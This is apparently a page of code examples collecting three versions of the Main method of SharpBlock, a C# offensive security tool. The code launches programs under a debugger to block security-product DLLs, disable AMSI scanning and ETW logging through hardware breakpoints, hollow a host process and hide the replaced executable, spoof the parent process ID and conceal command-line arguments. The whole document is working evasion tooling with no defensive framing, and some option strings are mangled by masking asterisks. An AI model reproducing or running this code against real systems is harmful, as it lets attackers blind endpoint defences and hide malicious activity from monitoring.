Esempio n. 1
0
        static void Main(string[] args)
        {
            string          program            = "c:\\windows\\system32\\cmd.exe";
            string          hostProcess        = null;
            string          programArgs        = "";
            bool            showHelp           = false;
            bool            bypassAmsi         = true;
            bool            bypassCommandLine  = true;
            bool            bypassETW          = true;
            bool            bypassHollowDetect = true;
            bool            patchedArgs        = false;
            bool            kernelBaseLoaded   = false;
            bool            showWindow         = false;
            int             ppid = -1;
            HostProcessInfo hpi  = new HostProcessInfo();

            Console.WriteLine(
                "SharpBlock by @_EthicalChaos_\n" +
                $"  DLL Blocking app for child processes { (IntPtr.Size == 8 ? "x86_64" : "x86")} \n"
                );

            OptionSet option_set = new OptionSet()
                                   .Add("e=|exe=", "Program to execute (default cmd.exe)", v => program      = v)
                                   .Add("a=|args=", "Arguments for program (default null)", v => programArgs = v)
                                   .Add("n=|name=", "Name of DLL to block", v => blockDllName.Add(v))
                                   .Add("c=|copyright=", "Copyright string to block", v => blockCopyright.Add(v))
                                   .Add("p=|product=", "Product string to block", v => blockProduct.Add(v))
                                   .Add("d=|description=", "Description string to block", v => blockDescription.Add(v))
                                   .Add("s=|spawn=", "Host process to spawn for swapping with the target exe", v => hostProcess  = v)
                                   .Add("ppid=", "PID of the process to use for parent process spoofing", v => ppid              = int.Parse(v))
                                   .Add("w|show", "Show the lauched process window instead of the default hide", v => showWindow = true)
                                   .Add("disable-bypass-amsi", "Disable AMSI bypassAmsi", v => bypassAmsi = false)
                                   .Add("disable-bypass-cmdline", "Disable command line bypass", v => bypassCommandLine = false)
                                   .Add("disable-bypass-etw", "Disable ETW bypass", v => bypassETW = false)
                                   .Add("disable-header-patch", "Disable process hollow detection bypass", v => bypassHollowDetect = false)
                                   .Add("h|help", "Display this help", v => showHelp = v != null);

            try {
                option_set.Parse(args);

                if (showHelp)
                {
                    option_set.WriteOptionDescriptions(Console.Out);
                    return;
                }
            } catch (Exception e) {
                Console.WriteLine("[!] Failed to parse arguments: {0}", e.Message);
                option_set.WriteOptionDescriptions(Console.Out);
                return;
            }

            try {
                IntPtr amsiBase = WinAPI.LoadLibrary("amsi.dll");
                amsiInitalizePtr = WinAPI.GetProcAddress(amsiBase, "AmsiInitialize");

                IntPtr ntdllBase        = WinAPI.LoadLibrary("ntdll.dll");
                IntPtr etwEventWritePtr = WinAPI.GetProcAddress(ntdllBase, "EtwEventWrite");

                Console.WriteLine($"[+] in-proc amsi 0x{amsiBase.ToInt64():x16}");
                Console.WriteLine($"[+] in-proc ntdll 0x{ntdllBase.ToInt64():x16}");

                IntPtr stdOut;
                IntPtr stdErr;
                IntPtr stdIn;
                IntPtr currentProcess = new IntPtr(-1);

                WinAPI.DuplicateHandle(currentProcess, WinAPI.GetStdHandle(StdHandle.STD_OUTPUT_HANDLE), currentProcess, out stdOut, 0, true, 2);
                WinAPI.DuplicateHandle(currentProcess, WinAPI.GetStdHandle(StdHandle.STD_ERROR_HANDLE), currentProcess, out stdErr, 0, true, 2);
                WinAPI.DuplicateHandle(currentProcess, WinAPI.GetStdHandle(StdHandle.STD_INPUT_HANDLE), currentProcess, out stdIn, 0, true, 2);

                STARTUPINFOEX startupInfo = new STARTUPINFOEX();
                startupInfo.StartupInfo.cb = (uint)Marshal.SizeOf(startupInfo);
                uint launchFlags = WinAPI.DEBUG_PROCESS;

                if (!showWindow)
                {
                    startupInfo.StartupInfo.dwFlags    = 0x00000101;
                    startupInfo.StartupInfo.hStdOutput = stdOut;
                    startupInfo.StartupInfo.hStdError  = stdErr;
                    startupInfo.StartupInfo.hStdInput  = stdIn;
                    launchFlags |= 0x08000000;
                }

                if (ppid > 0)
                {
                    launchFlags |= 0x80000;
                    startupInfo.lpAttributeList = InitializeProcThreadAttributeList(1);
                    SetNewProcessParent(ref startupInfo, ppid);
                }

                PROCESS_INFORMATION pi = new PROCESS_INFORMATION();

                string realProgramArgs = $"\"{hostProcess}\" {programArgs}";
                string launchedArgs    = bypassCommandLine ? $"\"{hostProcess}\"" : realProgramArgs;

                if (!CreateProcess(hostProcess != null ? hostProcess : program, launchedArgs, IntPtr.Zero, IntPtr.Zero, true, launchFlags, IntPtr.Zero, null,
                                   ref startupInfo, out pi))
                {
                    Console.WriteLine($"[!] Failed to create process { (hostProcess != null ? hostProcess : program) } with error {Marshal.GetLastWin32Error()}");
                    return;
                }

                Console.WriteLine($"[+] Launched process { (hostProcess != null ? hostProcess : program)} with PID {pi.dwProcessId}");
                bool bContinueDebugging = true;
                Dictionary <uint, IntPtr> processHandles = new Dictionary <uint, IntPtr>();
                Dictionary <uint, IntPtr> threadHandles  = new Dictionary <uint, IntPtr>();

                while (bContinueDebugging)
                {
                    IntPtr debugEventPtr        = Marshal.AllocHGlobal(1024);
                    bool   bb                   = WinAPI.WaitForDebugEvent(debugEventPtr, 1000);
                    UInt32 dwContinueDebugEvent = WinAPI.DBG_CONTINUE;
                    if (bb)
                    {
                        WinAPI.DEBUG_EVENT DebugEvent   = GetDebugEvent(debugEventPtr);
                        IntPtr             debugInfoPtr = GetIntPtrFromByteArray(DebugEvent.u);
                        switch (DebugEvent.dwDebugEventCode)
                        {
                        /* Uncomment if you want to see OutputDebugString output
                         * case WinAPI.OUTPUT_DEBUG_STRING_EVENT:
                         *  WinAPI.OUTPUT_DEBUG_STRING_INFO OutputDebugStringEventInfo = (WinAPI.OUTPUT_DEBUG_STRING_INFO)Marshal.PtrToStructure(debugInfoPtr, typeof(WinAPI.OUTPUT_DEBUG_STRING_INFO));
                         *  IntPtr bytesRead;
                         *  byte[] strData = new byte[OutputDebugStringEventInfo.nDebugStringLength];
                         *  WinAPI.ReadProcessMemory(pi.hProcess, OutputDebugStringEventInfo.lpDebugStringData, strData, strData.Length, out bytesRead);
                         *  Console.WriteLine(Encoding.ASCII.GetString(strData));
                         *  break;
                         */

                        case WinAPI.CREATE_PROCESS_DEBUG_EVENT:

                            WinAPI.CREATE_PROCESS_DEBUG_INFO CreateProcessDebugInfo = (WinAPI.CREATE_PROCESS_DEBUG_INFO)Marshal.PtrToStructure(debugInfoPtr, typeof(WinAPI.CREATE_PROCESS_DEBUG_INFO));
                            processHandles[DebugEvent.dwProcessId] = CreateProcessDebugInfo.hProcess;
                            threadHandles[DebugEvent.dwThreadId]   = CreateProcessDebugInfo.hThread;

                            if (bypassAmsi)
                            {
                                SetHardwareBreakpoint(CreateProcessDebugInfo.hThread, amsiInitalizePtr, 0);
                            }

                            break;

                        case WinAPI.CREATE_THREAD_DEBUG_EVENT:
                            WinAPI.CREATE_THREAD_DEBUG_INFO CreateThreadDebugInfo = (WinAPI.CREATE_THREAD_DEBUG_INFO)Marshal.PtrToStructure(debugInfoPtr, typeof(WinAPI.CREATE_THREAD_DEBUG_INFO));
                            threadHandles[DebugEvent.dwThreadId] = CreateThreadDebugInfo.hThread;

                            if (pi.dwProcessId == DebugEvent.dwProcessId)
                            {
                                if (bypassAmsi)
                                {
                                    SetHardwareBreakpoint(CreateThreadDebugInfo.hThread, amsiInitalizePtr, 0);
                                }

                                if (bypassETW)
                                {
                                    SetHardwareBreakpoint(threadHandles[DebugEvent.dwThreadId], etwEventWritePtr, 2);
                                }
                            }

                            break;

                        case WinAPI.EXIT_PROCESS_DEBUG_EVENT:
                            if (pi.dwProcessId == DebugEvent.dwProcessId)
                            {
                                bContinueDebugging = false;
                            }
                            break;

                        case WinAPI.LOAD_DLL_DEBUG_EVENT:
                            WinAPI.LOAD_DLL_DEBUG_INFO LoadDLLDebugInfo = (WinAPI.LOAD_DLL_DEBUG_INFO)Marshal.PtrToStructure(debugInfoPtr, typeof(WinAPI.LOAD_DLL_DEBUG_INFO));
                            string dllPath = PatchEntryPointIfNeeded(LoadDLLDebugInfo.hFile, LoadDLLDebugInfo.lpBaseOfDll, processHandles[DebugEvent.dwProcessId]);

                            //Console.WriteLine($"[=] DLL Load: {dllPath}");

                            if (DebugEvent.dwProcessId == pi.dwProcessId)
                            {
                                // Once kernelbase.dll has loaded then update GetCommandLineW/A args
                                if (bypassCommandLine && kernelBaseLoaded && !patchedArgs)
                                {
                                    UpdateCommandLine(pi.hProcess, realProgramArgs);
                                    patchedArgs = true;
                                }

                                if (hostProcess != null && dllPath.EndsWith("ntdll.dll", StringComparison.OrdinalIgnoreCase))
                                {
                                    Console.WriteLine($"[+] Replacing host process with {program}");
                                    hpi = ReplaceExecutable(processHandles[DebugEvent.dwProcessId], threadHandles[DebugEvent.dwThreadId], program);

                                    //Set a breakpoint on EtwEventWrite ready for us to bypass
                                    SetHardwareBreakpoint(threadHandles[DebugEvent.dwThreadId], etwEventWritePtr, 2);

                                    //Once we have hollowed out our process we put a breakpoint on
                                    //our in-memory PE entry point.
                                    //Once the entry point is hit it means that we can then attempt to
                                    //hide our PE from prying eyes.
                                    SetHardwareBreakpoint(threadHandles[DebugEvent.dwThreadId], hpi.newEntryPoint, 1);
                                }
                                else if (dllPath.EndsWith("kernelbase.dll", StringComparison.OrdinalIgnoreCase))
                                {
                                    kernelBaseLoaded = true;
                                }
                            }

                            break;

                        case WinAPI.EXCEPTION_DEBUG_EVENT:
                            WinAPI.EXCEPTION_DEBUG_INFO ExceptionDebugInfo = (WinAPI.EXCEPTION_DEBUG_INFO)Marshal.PtrToStructure(debugInfoPtr, typeof(WinAPI.EXCEPTION_DEBUG_INFO));

                            if (ExceptionDebugInfo.ExceptionRecord.ExceptionCode == WinAPI.EXCEPTION_SINGLE_STEP)
                            {
                                //Check to see if the single step breakpoint is at AmsiInitalize
                                if (ExceptionDebugInfo.ExceptionRecord.ExceptionAddress == amsiInitalizePtr)
                                {
                                    //It is, to update the thread context to return to caller with
                                    //an invalid result
                                    DisableAMSI(threadHandles[DebugEvent.dwThreadId], processHandles[DebugEvent.dwProcessId]);

                                    //Set the hardware breakpoint again for AmsiInitalize
                                    SetHardwareBreakpoint(threadHandles[DebugEvent.dwThreadId], amsiInitalizePtr, 0);

                                    //check to see if we have hit our in-memory PE entry-point
                                }
                                else if (ExceptionDebugInfo.ExceptionRecord.ExceptionAddress == hpi.newEntryPoint)
                                {
                                    //Causes crashes on some processes, for example cmd.exe, use --bypass-header-patch to disable
                                    if (bypassHollowDetect)
                                    {
                                        HideHollowedProcess(pi.hProcess, hpi);
                                    }

                                    //Catch case just in case kernelbase was the last DLL loaded
                                    if (bypassCommandLine && kernelBaseLoaded && !patchedArgs)
                                    {
                                        UpdateCommandLine(pi.hProcess, realProgramArgs);
                                        patchedArgs = true;
                                    }

                                    //No longer need the entrypoint breakpoint
                                    ClearHardwareBreakpoint(threadHandles[DebugEvent.dwThreadId], 1);
                                }
                                else if (ExceptionDebugInfo.ExceptionRecord.ExceptionAddress == etwEventWritePtr)
                                {
                                    //We have hit EtwEventWrite so lets just return with a fake success result
                                    OverrideReturnValue(threadHandles[DebugEvent.dwThreadId], processHandles[DebugEvent.dwProcessId], new UIntPtr(0), 5);
                                }
                            }
                            else
                            {
                                dwContinueDebugEvent = WinAPI.DBG_EXCEPTION_NOT_HANDLED;
                            }

                            //Console.WriteLine($"Exception 0x{ExceptionDebugInfo.ExceptionRecord.ExceptionCode:x} occured at 0x{ExceptionDebugInfo.ExceptionRecord.ExceptionAddress.ToInt64():x}");
                            break;
                        }

                        WinAPI.ContinueDebugEvent((uint)DebugEvent.dwProcessId,
                                                  (uint)DebugEvent.dwThreadId,
                                                  dwContinueDebugEvent);
                    }
                    if (debugEventPtr != null)
                    {
                        Marshal.FreeHGlobal(debugEventPtr);
                    }
                }

                int exitCode;
                WinAPI.GetExitCodeProcess(pi.hProcess, out exitCode);
                Console.WriteLine($"[+] Process {program} with PID {pi.dwProcessId} exited wit code {exitCode:x}");
            }catch (Exception e) {
                Console.WriteLine($"[!] SharpBlock failed with error {e.Message}");
                Console.WriteLine(e.StackTrace);
            }
        }
Esempio n. 2
0
        static void Main(string[] args)
        {
            string          program     = "c:\\windows\\system32\\cmd.exe";
            string          hostProcess = null;
            string          programArgs = "";
            bool            showHelp    = false;
            bool            bypass      = false;
            HostProcessInfo hpi         = new HostProcessInfo();

            Console.WriteLine(
                "SharpBlock by @_EthicalChaos_\n" +
                $"  DLL Blocking app for child processes { (IntPtr.Size == 8 ? "x86_64" : "x86")} \n"
                );

            OptionSet option_set = new OptionSet()
                                   .Add("e=|exe=", "Program to execute (default cmd.exe)", v => program      = v)
                                   .Add("a=|args=", "Arguments for program (default null)", v => programArgs = v)
                                   .Add("n=|name=", "Name of DLL to block", v => blockDllName.Add(v))
                                   .Add("c=|copyright=", "Copyright string to block", v => blockCopyright.Add(v))
                                   .Add("p=|product=", "Product string to block", v => blockProduct.Add(v))
                                   .Add("d=|description=", "Description string to block", v => blockDescription.Add(v))
                                   .Add("b=|bypass="******"Bypasses AMSI within the executed process (true|false)", v => bypass     = v != null)
                                   .Add("s=|spawn=", "Host process to spawn for swapping with the target exe", v => hostProcess = v)
                                   .Add("h|help", "Display this help", v => showHelp = v != null);

            try {
                option_set.Parse(args);

                if (showHelp)
                {
                    option_set.WriteOptionDescriptions(Console.Out);
                    return;
                }
            } catch (Exception e) {
                Console.WriteLine("[!] Failed to parse arguments: {0}", e.Message);
                option_set.WriteOptionDescriptions(Console.Out);
                return;
            }

            try {
                IntPtr amsiBase = WinAPI.LoadLibrary("amsi.dll");
                amsiInitalizePtr = WinAPI.GetProcAddress(amsiBase, "AmsiInitialize");

                Console.WriteLine($"[+] in-proc AMSI 0x{amsiBase.ToInt64():x16}");

                IntPtr stdOut;
                IntPtr stdErr;
                IntPtr stdIn;
                IntPtr currentProcess = new IntPtr(-1);

                WinAPI.DuplicateHandle(currentProcess, WinAPI.GetStdHandle(StdHandle.STD_OUTPUT_HANDLE), currentProcess, out stdOut, 0, true, 2);
                WinAPI.DuplicateHandle(currentProcess, WinAPI.GetStdHandle(StdHandle.STD_ERROR_HANDLE), currentProcess, out stdErr, 0, true, 2);
                WinAPI.DuplicateHandle(currentProcess, WinAPI.GetStdHandle(StdHandle.STD_INPUT_HANDLE), currentProcess, out stdIn, 0, true, 2);

                STARTUPINFO startupInfo = new STARTUPINFO();
                startupInfo.cb         = (uint)Marshal.SizeOf(startupInfo);
                startupInfo.dwFlags    = 0x00000101;
                startupInfo.hStdOutput = stdOut;
                startupInfo.hStdError  = stdErr;
                startupInfo.hStdInput  = stdIn;

                PROCESS_INFORMATION pi = new PROCESS_INFORMATION();

                if (!CreateProcess(hostProcess != null ? hostProcess : program, $"\"{hostProcess}\" {programArgs}", IntPtr.Zero, IntPtr.Zero, true, WinAPI.DEBUG_PROCESS, IntPtr.Zero, null,
                                   ref startupInfo, out pi))
                {
                    Console.WriteLine($"[!] Failed to create process { (hostProcess != null ? hostProcess : program) } with error {Marshal.GetLastWin32Error()}");
                    return;
                }

                Console.WriteLine($"[+] Launched process { (hostProcess != null ? hostProcess : program)} with PID {pi.dwProcessId}");

                bool bContinueDebugging = true;
                Dictionary <uint, IntPtr> processHandles = new Dictionary <uint, IntPtr>();
                Dictionary <uint, IntPtr> threadHandles  = new Dictionary <uint, IntPtr>();

                while (bContinueDebugging)
                {
                    IntPtr debugEventPtr        = Marshal.AllocHGlobal(1024);
                    bool   bb                   = WinAPI.WaitForDebugEvent(debugEventPtr, 1000);
                    UInt32 dwContinueDebugEvent = WinAPI.DBG_CONTINUE;
                    if (bb)
                    {
                        WinAPI.DEBUG_EVENT DebugEvent   = (WinAPI.DEBUG_EVENT)Marshal.PtrToStructure(debugEventPtr, typeof(WinAPI.DEBUG_EVENT));
                        IntPtr             debugInfoPtr = GetIntPtrFromByteArray(DebugEvent.u);
                        switch (DebugEvent.dwDebugEventCode)
                        {
                        /* Uncomment if you want to set OutputDebugString output
                         * case WinAPI.OUTPUT_DEBUG_STRING_EVENT:
                         *  WinAPI.OUTPUT_DEBUG_STRING_INFO OutputDebugStringEventInfo = (WinAPI.OUTPUT_DEBUG_STRING_INFO)Marshal.PtrToStructure(debugInfoPtr, typeof(WinAPI.OUTPUT_DEBUG_STRING_INFO));
                         *  IntPtr bytesRead;
                         *  byte[] strData = new byte[OutputDebugStringEventInfo.nDebugStringLength];
                         *  WinAPI.ReadProcessMemory(pi.hProcess, OutputDebugStringEventInfo.lpDebugStringData, strData, strData.Length, out bytesRead);
                         *  Console.WriteLine(Encoding.ASCII.GetString(strData));
                         *  break;
                         */

                        case WinAPI.CREATE_PROCESS_DEBUG_EVENT:

                            WinAPI.CREATE_PROCESS_DEBUG_INFO CreateProcessDebugInfo = (WinAPI.CREATE_PROCESS_DEBUG_INFO)Marshal.PtrToStructure(debugInfoPtr, typeof(WinAPI.CREATE_PROCESS_DEBUG_INFO));
                            processHandles[DebugEvent.dwProcessId] = CreateProcessDebugInfo.hProcess;
                            threadHandles[DebugEvent.dwThreadId]   = CreateProcessDebugInfo.hThread;

                            if (bypass)
                            {
                                SetHardwareBreakpoint(CreateProcessDebugInfo.hThread, amsiInitalizePtr);
                            }

                            break;

                        case WinAPI.CREATE_THREAD_DEBUG_EVENT:
                            WinAPI.CREATE_THREAD_DEBUG_INFO CreateThreadDebugInfo = (WinAPI.CREATE_THREAD_DEBUG_INFO)Marshal.PtrToStructure(debugInfoPtr, typeof(WinAPI.CREATE_THREAD_DEBUG_INFO));
                            threadHandles[DebugEvent.dwThreadId] = CreateThreadDebugInfo.hThread;

                            if (bypass)
                            {
                                SetHardwareBreakpoint(CreateThreadDebugInfo.hThread, amsiInitalizePtr);
                            }

                            break;

                        case WinAPI.EXIT_PROCESS_DEBUG_EVENT:
                            if (pi.dwProcessId == DebugEvent.dwProcessId)
                            {
                                bContinueDebugging = false;
                            }
                            break;

                        case WinAPI.LOAD_DLL_DEBUG_EVENT:
                            WinAPI.LOAD_DLL_DEBUG_INFO LoadDLLDebugInfo = (WinAPI.LOAD_DLL_DEBUG_INFO)Marshal.PtrToStructure(debugInfoPtr, typeof(WinAPI.LOAD_DLL_DEBUG_INFO));
                            string dllPath = PatchEntryPointIfNeeded(LoadDLLDebugInfo.hFile, LoadDLLDebugInfo.lpBaseOfDll, processHandles[DebugEvent.dwProcessId]);

                            if (DebugEvent.dwProcessId == pi.dwProcessId && hostProcess != null && dllPath.EndsWith("ntdll.dll", StringComparison.OrdinalIgnoreCase))
                            {
                                Console.WriteLine($"[+] Replacing host process with {program}");
                                hpi = ReplaceExecutable(processHandles[DebugEvent.dwProcessId], threadHandles[DebugEvent.dwThreadId], program);

                                //Once we have hollowed out our process we put a breakpoint on
                                //our in-memory PE entry point.
                                //Once the entry point is hit it means that we can then attempt to
                                //hide our PE from prying eyes.
                                SetHardwareBreakpoint(threadHandles[DebugEvent.dwThreadId], hpi.newEntryPoint);
                            }

                            break;

                        case WinAPI.EXCEPTION_DEBUG_EVENT:
                            WinAPI.EXCEPTION_DEBUG_INFO ExceptionDebugInfo = (WinAPI.EXCEPTION_DEBUG_INFO)Marshal.PtrToStructure(debugInfoPtr, typeof(WinAPI.EXCEPTION_DEBUG_INFO));

                            if (ExceptionDebugInfo.ExceptionRecord.ExceptionCode == WinAPI.EXCEPTION_SINGLE_STEP)
                            {
                                //Check to see if the single step breakpoint is at AmsiInitalize
                                if (ExceptionDebugInfo.ExceptionRecord.ExceptionAddress == amsiInitalizePtr)
                                {
                                    //It is, to update the thread context to return to caller with
                                    //an invalid result
                                    DisableAMSI(threadHandles[DebugEvent.dwThreadId], processHandles[DebugEvent.dwProcessId]);
                                    //Opsec purposes, lets now clear all threads of hardware breakpoints
                                    ClearHardwareBreakpoints(threadHandles.Values.ToArray());

                                    //check to see if we have hit our in-memory PE entry-point
                                }
                                else if (ExceptionDebugInfo.ExceptionRecord.ExceptionAddress == hpi.newEntryPoint)
                                {
                                    HideHollowedProcess(pi.hProcess, hpi);

                                    Context64 ctx = new Context64(ContextFlags.Debug);
                                    ctx.ClearBreakpoint();
                                    ctx.SetContext(threadHandles[DebugEvent.dwThreadId]);
                                }
                            }
                            else
                            {
                                dwContinueDebugEvent = WinAPI.DBG_EXCEPTION_NOT_HANDLED;
                            }

                            break;
                        }

                        WinAPI.ContinueDebugEvent((uint)DebugEvent.dwProcessId,
                                                  (uint)DebugEvent.dwThreadId,
                                                  dwContinueDebugEvent);
                    }
                    if (debugEventPtr != null)
                    {
                        Marshal.FreeHGlobal(debugEventPtr);
                    }
                }

                int exitCode;
                WinAPI.GetExitCodeProcess(pi.hProcess, out exitCode);
                Console.WriteLine($"[+] Process {program} with PID {pi.dwProcessId} exited wit code {exitCode:x}");
            }catch (Exception e) {
                Console.WriteLine($"[!] SharpBlock failed with error {e.Message}");
            }
        }
Esempio n. 3
0
        static void Main(string[] args)
        {
            string program     = "c:\\windows\\system32\\cmd.exe";
            string programArgs = "";
            bool   showHelp    = false;
            bool   bypass      = false;

            Console.WriteLine(
                "SharpBlock by @_EthicalChaos_\n" +
                $"  DLL Blocking app for child processes { (IntPtr.Size == 8 ? "x86_64" : "x86")} \n"
                );

            OptionSet option_set = new OptionSet()
                                   .Add("e=|exe=", "Program to execute (default cmd.exe)", v => program      = v)
                                   .Add("a=|args=", "Arguments for program (default null)", v => programArgs = v)
                                   .Add("n=|name=", "Name of DLL to block", v => blockDllName.Add(v))
                                   .Add("c=|copyright=", "Copyright string to block", v => blockCopyright.Add(v))
                                   .Add("p=|product=", "Product string to block", v => blockProduct.Add(v))
                                   .Add("d=|description=", "Description string to block", v => blockDescription.Add(v))
                                   .Add("b=|bypass="******"Bypasses AMSI within the executed process (true|false)", v => bypass = v != null)
                                   .Add("h|help", "Display this help", v => showHelp = v != null);

            try {
                option_set.Parse(args);

                if (showHelp)
                {
                    option_set.WriteOptionDescriptions(Console.Out);
                    return;
                }
            } catch (Exception e) {
                Console.WriteLine("[!] Failed to parse arguments: {0}", e.Message);
                option_set.WriteOptionDescriptions(Console.Out);
                return;
            }

            IntPtr amsiBase = WinAPI.LoadLibrary("amsi.dll");

            amsiInitalizePtr = WinAPI.GetProcAddress(amsiBase, "AmsiInitialize");

            Console.WriteLine($"[+] in-proc AMSI 0x{amsiBase:8x}");

            STARTUPINFO startupInfo = new STARTUPINFO();

            startupInfo.cb = (uint)Marshal.SizeOf(startupInfo);
            PROCESS_INFORMATION pi = new PROCESS_INFORMATION();

            if (!CreateProcess(program, $"\"{program}\" {programArgs}", IntPtr.Zero, IntPtr.Zero, true, WinAPI.DEBUG_PROCESS, IntPtr.Zero, null,
                               ref startupInfo, out pi))
            {
                Console.WriteLine($"[!] Failed to create process {program}");
                return;
            }

            Console.WriteLine($"[+] Launched process {program} with PID {pi.dwProcessId}");

            bool bContinueDebugging = true;
            Dictionary <uint, IntPtr> processHandles = new Dictionary <uint, IntPtr>();
            Dictionary <uint, IntPtr> threadHandles  = new Dictionary <uint, IntPtr>();

            while (bContinueDebugging)
            {
                IntPtr debugEventPtr        = Marshal.AllocHGlobal(1024);
                bool   bb                   = WinAPI.WaitForDebugEvent(debugEventPtr, 1000);
                UInt32 dwContinueDebugEvent = WinAPI.DBG_CONTINUE;
                if (bb)
                {
                    WinAPI.DEBUG_EVENT DebugEvent   = (WinAPI.DEBUG_EVENT)Marshal.PtrToStructure(debugEventPtr, typeof(WinAPI.DEBUG_EVENT));
                    IntPtr             debugInfoPtr = GetIntPtrFromByteArray(DebugEvent.u);
                    switch (DebugEvent.dwDebugEventCode)
                    {
                    case WinAPI.CREATE_PROCESS_DEBUG_EVENT:
                        WinAPI.CREATE_PROCESS_DEBUG_INFO CreateProcessDebugInfo = (WinAPI.CREATE_PROCESS_DEBUG_INFO)Marshal.PtrToStructure(debugInfoPtr, typeof(WinAPI.CREATE_PROCESS_DEBUG_INFO));
                        processHandles[DebugEvent.dwProcessId] = CreateProcessDebugInfo.hProcess;
                        threadHandles[DebugEvent.dwThreadId]   = CreateProcessDebugInfo.hThread;

                        if (bypass)
                        {
                            SetHardwareBreakpoint(CreateProcessDebugInfo.hThread, amsiInitalizePtr);
                        }

                        break;

                    case WinAPI.CREATE_THREAD_DEBUG_EVENT:
                        WinAPI.CREATE_THREAD_DEBUG_INFO CreateThreadDebugInfo = (WinAPI.CREATE_THREAD_DEBUG_INFO)Marshal.PtrToStructure(debugInfoPtr, typeof(WinAPI.CREATE_THREAD_DEBUG_INFO));
                        threadHandles[DebugEvent.dwThreadId] = CreateThreadDebugInfo.hThread;

                        if (bypass)
                        {
                            SetHardwareBreakpoint(CreateThreadDebugInfo.hThread, amsiInitalizePtr);
                        }

                        break;

                    case WinAPI.EXIT_PROCESS_DEBUG_EVENT:
                        if (pi.dwProcessId == DebugEvent.dwProcessId)
                        {
                            bContinueDebugging = false;
                        }
                        break;

                    case WinAPI.LOAD_DLL_DEBUG_EVENT:
                        WinAPI.LOAD_DLL_DEBUG_INFO LoadDLLDebugInfo = (WinAPI.LOAD_DLL_DEBUG_INFO)Marshal.PtrToStructure(debugInfoPtr, typeof(WinAPI.LOAD_DLL_DEBUG_INFO));
                        string dllPath = PatchEntryPointIfNeeded(LoadDLLDebugInfo.hFile, LoadDLLDebugInfo.lpBaseOfDll, processHandles[DebugEvent.dwProcessId]);
                        break;

                    case WinAPI.EXCEPTION_DEBUG_EVENT:
                        WinAPI.EXCEPTION_DEBUG_INFO ExceptionDebugInfo = (WinAPI.EXCEPTION_DEBUG_INFO)Marshal.PtrToStructure(debugInfoPtr, typeof(WinAPI.EXCEPTION_DEBUG_INFO));

                        if (ExceptionDebugInfo.ExceptionRecord.ExceptionCode == WinAPI.EXCEPTION_SINGLE_STEP)
                        {
                            //Check to see if the single step breakpoint is at AmsiInitalize
                            if (ExceptionDebugInfo.ExceptionRecord.ExceptionAddress == amsiInitalizePtr)
                            {
                                //It is, to update the thread context to return to caller with
                                //an invalid result
                                DisableAMSI(threadHandles[DebugEvent.dwThreadId], processHandles[DebugEvent.dwProcessId]);
                                //Opsec purposes, lets now clear all threads of hardware breakpoints
                                ClearHardwareBreakpoints(threadHandles.Values.ToArray());
                            }
                        }
                        else
                        {
                            dwContinueDebugEvent = WinAPI.DBG_EXCEPTION_NOT_HANDLED;
                        }

                        break;
                    }

                    WinAPI.ContinueDebugEvent((uint)DebugEvent.dwProcessId,
                                              (uint)DebugEvent.dwThreadId,
                                              dwContinueDebugEvent);
                }
                if (debugEventPtr != null)
                {
                    Marshal.FreeHGlobal(debugEventPtr);
                }
            }

            int exitCode;

            WinAPI.GetExitCodeProcess(pi.hProcess, out exitCode);
            Console.WriteLine($"[+] Process {program} with PID {pi.dwProcessId} exited wit code {exitCode}");
        }